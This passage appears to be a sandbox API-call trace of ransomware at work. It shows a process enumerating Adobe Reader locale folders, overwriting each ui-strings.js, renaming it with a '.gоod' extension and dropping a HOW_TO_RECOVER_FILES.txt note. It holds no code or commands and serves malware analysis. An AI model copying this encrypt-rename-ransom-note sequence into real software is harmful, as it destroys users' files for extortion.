out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\es-es", lpFilePart=0x0) returned 0x77 [0196.501] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\es-es\\*", lpFindFileData=0x203eb240 | out: lpFindFileData=0x203eb240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ecafd80 [0196.502] FindNextFileW (in: hFindFile=0x1ecafd80, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0196.502] FindNextFileW (in: hFindFile=0x1ecafd80, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x743, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0196.503] FindNextFileW (in: hFindFile=0x1ecafd80, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0196.503] FindClose (in: hFindFile=0x1ecafd80 | out: hFindFile=0x1ecafd80) returned 1 [0196.503] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb460) returned 1 [0196.503] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb420) returned 1 [0196.503] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb520) returned 1 [0196.503] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\es-es", nBufferLength=0x105, lpBuffer=0x203eafc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\es-es", lpFilePart=0x0) returned 0x77 [0196.503] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\es-es\\*", lpFindFileData=0x203eb240 | out: lpFindFileData=0x203eb240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ecafc00 [0196.503] FindNextFileW (in: hFindFile=0x1ecafc00, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0196.503] FindNextFileW (in: hFindFile=0x1ecafc00, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x743, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0196.504] FindNextFileW (in: hFindFile=0x1ecafc00, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x743, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0196.504] FindClose (in: hFindFile=0x1ecafc00 | out: hFindFile=0x1ecafc00) returned 1 [0196.504] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb460) returned 1 [0196.504] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb420) returned 1 [0196.504] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\es-es\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\es-es\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0196.504] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb2d0) returned 1 [0196.504] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\es-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\es-es\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x372a450 | out: lpFileInformation=0x372a450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x743)) returned 1 [0196.504] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb290) returned 1 [0196.504] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\es-es\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eac60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\es-es\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0196.504] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb180) returned 1 [0196.504] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\es-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\es-es\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x838 [0196.504] GetFileType (hFile=0x838) returned 0x1 [0196.504] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb0f0) returned 1 [0196.504] GetFileType (hFile=0x838) returned 0x1 [0196.504] GetFileSize (in: hFile=0x838, lpFileSizeHigh=0x203eb328 | out: lpFileSizeHigh=0x203eb328*=0x0) returned 0x743 [0196.505] ReadFile (in: hFile=0x838, lpBuffer=0x372af40, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203eb258, lpOverlapped=0x0 | out: lpBuffer=0x372af40*, lpNumberOfBytesRead=0x203eb258*=0x743, lpOverlapped=0x0) returned 1 [0196.506] CloseHandle (hObject=0x838) returned 1 [0197.107] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\es-es\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eac60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\es-es\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0197.107] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb180) returned 1 [0197.107] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\es-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\es-es\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x848 [0197.108] GetFileType (hFile=0x848) returned 0x1 [0197.108] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb0f0) returned 1 [0197.108] GetFileType (hFile=0x848) returned 0x1 [0197.108] WriteFile (in: hFile=0x848, lpBuffer=0x3938fc0*, nNumberOfBytesToWrite=0x750, lpNumberOfBytesWritten=0x203eb168, lpOverlapped=0x0 | out: lpBuffer=0x3938fc0*, lpNumberOfBytesWritten=0x203eb168*=0x750, lpOverlapped=0x0) returned 1 [0197.109] CloseHandle (hObject=0x848) returned 1 [0197.109] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\es-es\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\es-es\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0197.109] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\es-es\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\es-es\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x8a [0197.109] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb290) returned 1 [0197.109] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\es-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\es-es\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x203eb370 | out: lpFileInformation=0x203eb370*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x71b39dc4, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x750)) returned 1 [0197.109] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb250) returned 1 [0197.109] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\es-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\es-es\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\es-es\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\es-es\\ui-strings.js.gоod")) returned 1 [0197.110] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\es-es\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x203eaf70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\es-es\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x90 [0197.110] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb490) returned 1 [0197.110] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\es-es\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\es-es\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x848 [0197.111] GetFileType (hFile=0x848) returned 0x1 [0197.111] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb400) returned 1 [0197.111] GetFileType (hFile=0x848) returned 0x1 [0197.112] WriteFile (in: hFile=0x848, lpBuffer=0x393c8d0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x203eb558, lpOverlapped=0x0 | out: lpBuffer=0x393c8d0*, lpNumberOfBytesWritten=0x203eb558*=0x5d0, lpOverlapped=0x0) returned 1 [0197.112] CloseHandle (hObject=0x848) returned 1 [0197.113] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb520) returned 1 [0197.113] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\eu-es", nBufferLength=0x105, lpBuffer=0x203eafc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\eu-es", lpFilePart=0x0) returned 0x77 [0197.113] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\eu-es\\*", lpFindFileData=0x203eb240 | out: lpFindFileData=0x203eb240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ecdbe60 [0197.113] FindNextFileW (in: hFindFile=0x1ecdbe60, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0197.113] FindNextFileW (in: hFindFile=0x1ecdbe60, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x70e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0197.114] FindNextFileW (in: hFindFile=0x1ecdbe60, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0197.114] FindClose (in: hFindFile=0x1ecdbe60 | out: hFindFile=0x1ecdbe60) returned 1 [0197.114] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb460) returned 1 [0197.114] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb420) returned 1 [0197.114] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb520) returned 1 [0197.114] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\eu-es", nBufferLength=0x105, lpBuffer=0x203eafc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\eu-es", lpFilePart=0x0) returned 0x77 [0197.114] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\eu-es\\*", lpFindFileData=0x203eb240 | out: lpFindFileData=0x203eb240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ecdbc20 [0197.114] FindNextFileW (in: hFindFile=0x1ecdbc20, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0197.114] FindNextFileW (in: hFindFile=0x1ecdbc20, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x70e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0197.115] FindNextFileW (in: hFindFile=0x1ecdbc20, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x70e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0197.115] FindClose (in: hFindFile=0x1ecdbc20 | out: hFindFile=0x1ecdbc20) returned 1 [0197.115] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb460) returned 1 [0197.115] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb420) returned 1 [0197.115] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\eu-es\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\eu-es\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0197.115] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb2d0) returned 1 [0197.115] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\eu-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\eu-es\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x394c7a8 | out: lpFileInformation=0x394c7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x70e)) returned 1 [0197.115] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb290) returned 1 [0197.115] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\eu-es\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eac60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\eu-es\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0197.115] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb180) returned 1 [0197.115] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\eu-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\eu-es\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x848 [0197.115] GetFileType (hFile=0x848) returned 0x1 [0197.115] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb0f0) returned 1 [0197.115] GetFileType (hFile=0x848) returned 0x1 [0197.115] GetFileSize (in: hFile=0x848, lpFileSizeHigh=0x203eb328 | out: lpFileSizeHigh=0x203eb328*=0x0) returned 0x70e [0197.116] ReadFile (in: hFile=0x848, lpBuffer=0x394d260, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203eb258, lpOverlapped=0x0 | out: lpBuffer=0x394d260*, lpNumberOfBytesRead=0x203eb258*=0x70e, lpOverlapped=0x0) returned 1 [0197.117] CloseHandle (hObject=0x848) returned 1 [0197.288] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\eu-es\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eac60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\eu-es\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0197.288] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb180) returned 1 [0197.288] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\eu-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\eu-es\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x850 [0197.289] GetFileType (hFile=0x850) returned 0x1 [0197.289] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb0f0) returned 1 [0197.289] GetFileType (hFile=0x850) returned 0x1 [0197.289] WriteFile (in: hFile=0x850, lpBuffer=0x36b9168*, nNumberOfBytesToWrite=0x710, lpNumberOfBytesWritten=0x203eb168, lpOverlapped=0x0 | out: lpBuffer=0x36b9168*, lpNumberOfBytesWritten=0x203eb168*=0x710, lpOverlapped=0x0) returned 1 [0197.290] CloseHandle (hObject=0x850) returned 1 [0197.290] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\eu-es\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\eu-es\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0197.290] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\eu-es\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\eu-es\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x8a 